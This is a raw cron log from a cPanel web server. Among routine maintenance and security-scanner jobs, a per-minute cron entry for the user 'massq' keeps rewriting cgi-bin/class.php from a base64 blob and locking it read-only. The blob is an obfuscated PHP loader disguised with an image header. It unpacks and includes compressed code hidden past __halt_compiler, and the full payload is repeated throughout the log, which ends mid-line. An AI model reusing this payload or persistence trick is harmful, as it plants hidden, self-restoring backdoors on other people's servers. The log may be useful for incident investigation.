Sep  6 10:25:01 server CROND[21324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:25:01 server CROND[21327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:25:01 server CROND[21329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:25:01 server CROND[21328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:25:01 server CROND[21333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:25:01 server CROND[21331]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:25:01 server CROND[21335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:25:01 server CROND[21330]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 10:26:01 server CROND[22162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:26:01 server CROND[22161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:26:01 server CROND[22163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:27:01 server CROND[22532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:27:01 server CROND[22533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:27:01 server CROND[22534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:27:01 server CROND[22535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:28:01 server CROND[23066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:28:01 server CROND[23067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:28:01 server CROND[23068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:29:01 server CROND[23525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:29:01 server CROND[23526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:29:01 server CROND[23527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:30:02 server CROND[23921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:30:02 server CROND[23924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:30:02 server CROND[23923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:30:02 server CROND[23925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:30:02 server CROND[23927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:30:02 server CROND[23926]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:30:02 server CROND[23928]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:30:02 server CROND[23930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:31:01 server CROND[24752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:31:01 server CROND[24753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:31:01 server CROND[24754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:32:01 server CROND[25150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:32:01 server CROND[25151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:32:01 server CROND[25152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:33:01 server CROND[25531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:33:01 server CROND[25532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:33:01 server CROND[25533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:34:01 server CROND[25912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:34:01 server CROND[25913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:34:01 server CROND[25914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:35:01 server CROND[26399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:35:01 server CROND[26401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:35:01 server CROND[26404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:35:01 server CROND[26406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:35:01 server CROND[26410]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:35:01 server CROND[26405]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:35:01 server CROND[26407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:35:01 server CROND[26402]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 10:35:01 server CROND[26408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:36:01 server CROND[27283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxc